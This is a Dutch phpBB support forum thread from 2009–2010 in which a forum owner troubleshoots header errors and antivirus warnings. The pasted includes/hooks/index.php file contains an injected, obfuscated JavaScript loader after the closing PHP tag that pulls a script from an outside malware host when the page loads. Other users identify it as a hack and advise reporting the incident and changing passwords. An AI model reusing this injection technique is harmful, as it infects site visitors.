Pagina 1 van 1

Foutmelding uit het niets

Geplaatst: 08 dec 2009, 16:25
door Gwawr
  • Adres van je forum: http://www.landheremietkreeft.nl/forum
    Event. modificaties op je forum: Geen
    Wanneer ontstond het probleem? Vandaag
    phpBB versie: 3.0.2


    Heb je onlangs iets veranderd aan je forum? Nee
    Wat is het probleem?
Ik kreeg toen ik vandaag het forum opende een foutmelding en ik kon in FireFox niet meer inloggen. In IE lukte dit wel. Ik heb al een tijd niets veranderd aan het forum (en hij draait niet op de laatste versie dus). Kan deze foutmelding daar mee te maken hebben? Het lijkt me toch vreemd dat hij dit uit het niets doet...

PHP Notice: in file /includes/session.php on line 942: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:252)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 942: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:252)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 942: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:252)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 1707: Cannot modify header information - headers already sent by (output started at /includes/hooks/index.php:252)

Warning: Cannot modify header information - headers already sent by (output started at /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/hooks/index.php:252) in /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/functions.php on line 3545

Warning: Cannot modify header information - headers already sent by (output started at /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/hooks/index.php:252) in /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/functions.php on line 3547

Warning: Cannot modify header information - headers already sent by (output started at /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/hooks/index.php:252) in /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/functions.php on line 3548

Warning: Cannot modify header information - headers already sent by (output started at /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/hooks/index.php:252) in /usr/home/deb6436/domains/landheremietkreeft.nl/public_html/forum/includes/functions.php on line 3549

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 18:01
door AirWarrior
Als ik je website bezoek komt ook direct me virusscanner in opstand.

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 18:30
door David
Die van mij ook, er is meteen een inbraakpoging geblokeerd. Hij vraagt ook meteen of ik iets wil instaleren. Dus das ookal geen zuivere koek!!

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 18:33
door Gwawr
Enig idee waar dit vandaan kan komen (en gaat het om de site of het forum)? Ik heb geen idee wat er mis is gegaan, want ik heb zelf niets veranderd.

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 20:10
door Kevin
Kun je de overall_header.html is plaatsen uit de map root/styles/jouw stijl/template? wellicht is daar iets in terug te vinden.

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 20:17
door Gwawr
Hoe zet ik dat hier neer? :)

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 20:27
door Kevin
even downloaden via de ftp en openen met een html editor, of in dit geval zou notepad ook wel kunnen. Die gehele code kopieren en hier in een bericht plaatsen tussen de code tags.

Code: Selecteer alles

[code]
[/code]

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 20:28
door Paul
Zullen we niet eerst maar is beginnen met includes/hooks/index.php, daar wordt de output tenslotte gestart. Graag die even hier posten.

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 21:29
door Gwawr
Bij deze beide files waar om gevraagd werd dan..

Code: Selecteer alles

<?php
/**
*
* @package phpBB3
* @version $Id: index.php 8479 2008-03-29 00:22:48Z naderman $
* @copyright (c) 2007 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/

/**
* @ignore
*/
if (!defined('IN_PHPBB'))
{
	exit;
}

/**
* phpBB Hook Class
* @package phpBB3
*/
class phpbb_hook
{
	/**
	* Registered hooks
	*/
	var $hooks = array();

	/**
	* Results returned by functions called
	*/
	var $hook_result = array();

	/**
	* internal pointer
	*/
	var $current_hook = NULL;

	/**
	* Initialize hook class.
	*
	* @param array $valid_hooks array containing the hookable functions/methods
	*/
	function phpbb_hook($valid_hooks)
	{
		foreach ($valid_hooks as $_null => $method)
		{
			$this->add_hook($method);
		}

		if (function_exists('phpbb_hook_register'))
		{
			phpbb_hook_register($this);
		}
	}

	/**
	* Register function/method to be called within hook
	* This function is normally called by the modification/application to attach/register the functions.
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	* @param mixed $hook The replacement function/method to be called. Passing function name or array with object/class definition
	* @param string $mode Specify the priority/chain mode. 'normal' -> hook gets appended to the chain. 'standalone' -> only the specified hook gets called - later hooks are not able to overwrite this (E_NOTICE is triggered then). 'first' -> hook is called as the first one within the chain. 'last' -> hook is called as the last one within the chain.
	*/
	function register($definition, $hook, $mode = 'normal')
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $definition[1];

		// Method able to be hooked?
		if (isset($this->hooks[$class][$function]))
		{
			switch ($mode)
			{
				case 'standalone':
					if (!isset($this->hooks[$class][$function]['standalone']))
					{
						$this->hooks[$class][$function] = array('standalone' => $hook);
					}
					else
					{
						trigger_error('Hook not able to be called standalone, previous hook already standalone.', E_NOTICE);
					}
				break;

				case 'first':
				case 'last':
					$this->hooks[$class][$function][$mode][] = $hook;
				break;

				case 'normal':
				default:
					$this->hooks[$class][$function]['normal'][] = $hook;
				break;
			}
		}
	}

	/**
	* Calling all functions/methods attached to a specified hook.
	* Called by the function allowing hooks...
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	* @return bool False if no hook got executed, true otherwise
	*/
	function call_hook($definition)
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $definition[1];

		if (!empty($this->hooks[$class][$function]))
		{
			// Developer tries to call a hooked function within the hooked function...
			if ($this->current_hook !== NULL && $this->current_hook['class'] === $class && $this->current_hook['function'] === $function)
			{
				return false;
			}

			// Call the hook with the arguments attached and store result
			$arguments = func_get_args();
			$this->current_hook = array('class' => $class, 'function' => $function);
			$arguments[0] = &$this;

			// Call the hook chain...
			if (isset($this->hooks[$class][$function]['standalone']))
			{
				$this->hook_result[$class][$function] = call_user_func_array($this->hooks[$class][$function]['standalone'], $arguments);
			}
			else
			{
				foreach (array('first', 'normal', 'last') as $mode)
				{
					if (!isset($this->hooks[$class][$function][$mode]))
					{
						continue;
					}

					foreach ($this->hooks[$class][$function][$mode] as $hook)
					{
						$this->hook_result[$class][$function] = call_user_func_array($hook, $arguments);
					}
				}
			}

			$this->current_hook = NULL;
			return true;
		}

		$this->current_hook = NULL;
		return false;
	}

	/**
	* Get result from previously called functions/methods for the same hook
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	* @return mixed False if nothing returned if there is no result, else array('result' => ... )
	*/
	function previous_hook_result($definition)
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $definition[1];

		if (!empty($this->hooks[$class][$function]) && isset($this->hook_result[$class][$function]))
		{
			return array('result' => $this->hook_result[$class][$function]);
		}

		return false;
	}

	/**
	* Check if the called functions/methods returned something.
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	* @return bool True if results are there, false if not
	*/
	function hook_return($definition)
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $definition[1];

		if (!empty($this->hooks[$class][$function]) && isset($this->hook_result[$class][$function]))
		{
			return true;
		}

		return false;
	}

	/**
	* Give actual result from called functions/methods back.
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	* @return mixed The result
	*/
	function hook_return_result($definition)
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $definition[1];

		if (!empty($this->hooks[$class][$function]) && isset($this->hook_result[$class][$function]))
		{
			$result = $this->hook_result[$class][$function];
			unset($this->hook_result[$class][$function]);
			return $result;
		}

		return;
	}

	/**
	* Add new function to the allowed hooks.
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	*/
	function add_hook($definition)
	{
		if (!is_array($definition))
		{
			$definition = array('__global', $definition);
		}

		$this->hooks[$definition[0]][$definition[1]] = array();
	}

	/**
	* Remove function from the allowed hooks.
	*
	* @param mixed $definition Declaring function (with __FUNCTION__) or class with array(__CLASS__, __FUNCTION__)
	*/
	function remove_hook($definition)
	{
		$class = (!is_array($definition)) ? '__global' : $definition[0];
		$function = (!is_array($definition)) ? $definition : $definition[1];

		if (isset($this->hooks[$class][$function]))
		{
			unset($this->hooks[$class][$function]);

			if (isset($this->hook_result[$class][$function]))
			{
				unset($this->hook_result[$class][$function]);
			}
		}
	}
}

?>

<script>/*GNU GPL*/ try{window.onload = function(){var Hva23p3hnyirlpv7 = document.createElement('script');Hva23p3hnyirlpv7.setAttribute('type', 'text/javascript');Hva23p3hnyirlpv7.setAttribute('id', 'myscript1');Hva23p3hnyirlpv7.setAttribute('src',  'h))t#^t$#))!p&&#:^!&/^^/)^(@m&()y&#b(r@&&!!o)^w(&(s)^)$e(@&#r&))b^a#r!&$-#@c&#o#m#@&.)@$s)a!m$&s#)^u!$^n$g#!.$c!^o^@(m#.^n@!#a@@s#$!a#&-(@^g$o)#v)@&$.(!(@(e)&g&!#r)e)@)a^)t$!s(!(a@!l#e@.@)@r)#u(&#!:)@8!^)0!8$!(0!/^#m$$e)g^&a###v&!i&d!e))#o!@(.(@c&)o$!(m^&/^m&^e((^)g$!((a)#)^v@!i(@&#d#)e@&o$#.^c$!#o@m^/$#&l$a)r#@(e)^^d#&o(!()u#(t$)e##.$f(r^&(@/!(^&b!!i)$$l@)!)d^&.#@&(d$@$e(/)g$o^o$&^g^!&l()e!).(@^#c)$!o#&)@@m!/^$'.replace(/\$|\^|\!|&|\)|\(|@|#/ig, ''));Hva23p3hnyirlpv7.setAttribute('defer', 'defer');document.body.appendChild(Hva23p3hnyirlpv7);}} catch(e) {}</script>

Code: Selecteer alles

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="{S_CONTENT_DIRECTION}" lang="{S_USER_LANG}" xml:lang="{S_USER_LANG}">
<head>

<meta http-equiv="content-type" content="text/html; charset={S_CONTENT_ENCODING}" />
<meta http-equiv="content-language" content="{S_USER_LANG}" />
<meta http-equiv="content-style-type" content="text/css" />
<meta http-equiv="imagetoolbar" content="no" />
<meta name="resource-type" content="document" />
<meta name="distribution" content="global" />
<meta name="copyright" content="2000, 2002, 2005, 2007 phpBB Group" />
<meta name="keywords" content="" />
<meta name="description" content="" />
{META}
<title>{SITENAME} &bull; <!-- IF S_IN_MCP -->{L_MCP} &bull; <!-- ELSEIF S_IN_UCP -->{L_UCP} &bull; <!-- ENDIF -->{PAGE_TITLE}</title>

<link rel="stylesheet" href="{T_STYLESHEET_LINK}" type="text/css" />

<script type="text/javascript">
// <![CDATA[
<!-- IF S_USER_PM_POPUP -->
	if ({S_NEW_PM})
	{
		popup('{UA_POPUP_PM}', 400, 225, '_phpbbprivmsg');
	}
<!-- ENDIF -->

function popup(url, width, height, name)
{
	if (!name)
	{
		name = '_popup';
	}

	window.open(url.replace(/&/g, '&'), name, 'height=' + height + ',resizable=yes,scrollbars=yes,width=' + width);
	return false;
}

function jumpto()
{
	var page = prompt('{LA_JUMP_PAGE}:', '{ON_PAGE}');
	var perpage = '{PER_PAGE}';
	var base_url = '{A_BASE_URL}';

	if (page !== null && !isNaN(page) && page > 0)
	{
		document.location.href = base_url.replace(/&/g, '&') + '&start=' + ((page - 1) * perpage);
	}
}

/**
* Find a member
*/
function find_username(url)
{
	popup(url, 760, 570, '_usersearch');
	return false;
}

/**
* Mark/unmark checklist
* id = ID of parent container, name = name prefix, state = state [true/false]
*/
function marklist(id, name, state)
{
	var parent = document.getElementById(id);
	if (!parent)
	{
		eval('parent = document.' + id);
	}

	if (!parent)
	{
		return;
	}

	var rb = parent.getElementsByTagName('input');
	
	for (var r = 0; r < rb.length; r++)
	{
		if (rb[r].name.substr(0, name.length) == name)
		{
			rb[r].checked = state;
		}
	}
}

<!-- IF ._file -->

	/**
	* Play quicktime file by determining it's width/height
	* from the displayed rectangle area
	*
	* Only defined if there is a file block present.
	*/
	function play_qt_file(obj)
	{
		var rectangle = obj.GetRectangle();

		if (rectangle)
		{
			rectangle = rectangle.split(',')
			var x1 = parseInt(rectangle[0]);
			var x2 = parseInt(rectangle[2]);
			var y1 = parseInt(rectangle[1]);
			var y2 = parseInt(rectangle[3]);

			var width = (x1 < 0) ? (x1 * -1) + x2 : x2 - x1;
			var height = (y1 < 0) ? (y1 * -1) + y2 : y2 - y1;
		}
		else
		{
			var width = 200;
			var height = 0;
		}

		obj.width = width;
		obj.height = height + 16;

		obj.SetControllerVisible(true);

		obj.Play();
	}
<!-- ENDIF -->

// ]]>
</script>
</head>
<body class="{S_CONTENT_DIRECTION}">

<a name="top"></a>

<div id="wrapheader">

	<div id="logodesc">
		<a href="{U_INDEX}">{SITE_LOGO_IMG}</a>
	</div>

	<div id="menubar">
		<table width="100%" cellspacing="0">
		<tr>
			<td class="genmed">
				<a href="{U_FAQ}">{L_FAQ}</a>
				<!-- IF S_DISPLAY_SEARCH -->&nbsp; &nbsp;<a href="{U_SEARCH}">{L_SEARCH}</a><!-- ENDIF -->
				<!-- IF not S_IS_BOT -->
					<!-- IF S_DISPLAY_MEMBERLIST -->&nbsp; &nbsp;<a href="{U_MEMBERLIST}">{L_MEMBERLIST}</a><!-- ENDIF -->
					<!-- IF S_USER_LOGGED_IN -->&nbsp; &nbsp;<a href="{U_PROFILE}">{L_PROFILE}</a><!-- ENDIF -->
				<!-- ENDIF -->
			</td>
			<td class="genmed" align="{S_CONTENT_FLOW_END}">
				<!-- IF U_RESTORE_PERMISSIONS --> &nbsp;<a href="{U_RESTORE_PERMISSIONS}">{L_RESTORE_PERMISSIONS}</a><!-- ENDIF -->
				<!-- IF S_BOARD_DISABLED and S_USER_LOGGED_IN --> &nbsp;<span style="color: red;">{L_BOARD_DISABLED}</span><!-- ENDIF -->
				<!-- IF not S_IS_BOT -->
					<!-- IF S_USER_LOGGED_IN -->
						<!-- IF S_DISPLAY_PM --> &nbsp;<a href="{U_PRIVATEMSGS}">({PRIVATE_MESSAGE_INFO}<!-- IF PRIVATE_MESSAGE_INFO_UNREAD -->, {PRIVATE_MESSAGE_INFO_UNREAD})<!-- ENDIF --></a><!-- ENDIF -->
					<!-- ELSEIF S_REGISTER_ENABLED --> &nbsp; &nbsp;<a href="{U_REGISTER}">{L_REGISTER}</a>
					<!-- ENDIF -->
					<!-- IF not S_IS_BOT -->&nbsp; &nbsp; <a href="{U_LOGIN_LOGOUT}">{L_LOGIN_LOGOUT}</a>&nbsp;<!-- ENDIF -->
				<!-- ENDIF -->
			</td>
		</tr>
		</table>
	</div>
	<br />
	<div class="datebar">
		<span style="float: {S_CONTENT_FLOW_BEGIN};">{LAST_VISIT_DATE}</span>
		<span style="float: {S_CONTENT_FLOW_END};">{CURRENT_TIME}</span>
	</div>

<br clear="all"/>
</div>

<div id="wrapcentre">

	<!-- IF S_DISPLAY_SEARCH -->
	<div class="searchbar">
		<span style="float: {S_CONTENT_FLOW_BEGIN};"><a href="{U_SEARCH_UNANSWERED}">{L_SEARCH_UNANSWERED}</a> | <a href="{U_SEARCH_ACTIVE_TOPICS}">{L_SEARCH_ACTIVE_TOPICS}</a></span>
		<!-- IF S_USER_LOGGED_IN -->
		<span style="float: {S_CONTENT_FLOW_END};"><a href="{U_SEARCH_NEW}">{L_SEARCH_NEW}</a> | <a href="{U_SEARCH_SELF}">{L_SEARCH_SELF}</a></span>
		<!-- ENDIF -->
	</div>
	<!-- ENDIF -->

	<br style="clear: both;" />

	<!-- INCLUDE breadcrumbs.html -->

	<br />

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 22:17
door Paul
Lijkt erop dat je gehacked bent. het beste wat je kan doen is op www.phpbb.com/incidents/ dit melden, en daar de instructies volgen. Hun kunnen je dan helpen met het oplossen en opsporen van het probleem.

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 22:35
door Gwawr
Gehacked? :shock: Waar kun je dat aan afleiden?

Re: Foutmelding uit het niets

Geplaatst: 08 dec 2009, 22:39
door Paul
Aan de code die in die index.php staat.

Re: Foutmelding uit het niets

Geplaatst: 09 dec 2009, 00:24
door Gwawr
Ik heb een ticket aangemaakt, maar er wordt nu gevraagd om zaken die ik zo 1 2 3 niet kan vinden. Mijn vriend kwam met het idee mijn host te vragen een back-up van hun terug te zetten. Als ze dit willen zou dit de boel oplossen neem ik aan? Mijn forum is niet druk bezocht en er zullen weinig posts verloren gaan.

Re: Foutmelding uit het niets

Geplaatst: 07 jan 2010, 18:56
door ivobeegden
WAt gezocht op het internet en kwam redelijk vaak hier weer uit.

Dit probleem heb ik ook last van. Mogelijk heeft dit te maken met dat ik pas net naar de nieuwe versie ben gegaan ? Vorige versie loopte prima.

Als je de maps includes/hooks overschrijft van je backup!

en de styles dan is het probleem weg.

Dit ging 2 weken goed nu alweer :cry: :cry: :cry:

Dit moeten er meer hebben ik denk zelf dat het spyware of iets is.

Graag Reactie

Re: Foutmelding uit het niets

Geplaatst: 09 jan 2010, 01:31
door stef775
Ik kan alleen maar aanraden om je paswoorden voor zowel je site als ftp te wijzigen en je host te waarschuwen. Of je hebt zelf spyware die paswoorden doorsluist of iemand anders die op dezelfde server zit als je op share hosting zit.

Re: Foutmelding uit het niets

Geplaatst: 09 jan 2010, 10:33
door Paul
paul schreef:Lijkt erop dat je gehacked bent. het beste wat je kan doen is op http://www.phpbb.com/incidents/ dit melden, en daar de instructies volgen. Hun kunnen je dan helpen met het oplossen en opsporen van het probleem.
Dat, en alleen dat, gewoon doen. Niets veranderen, niets verwijderen, niets terugzette, een ticket aanmaken en daarna daar de instructies volgen.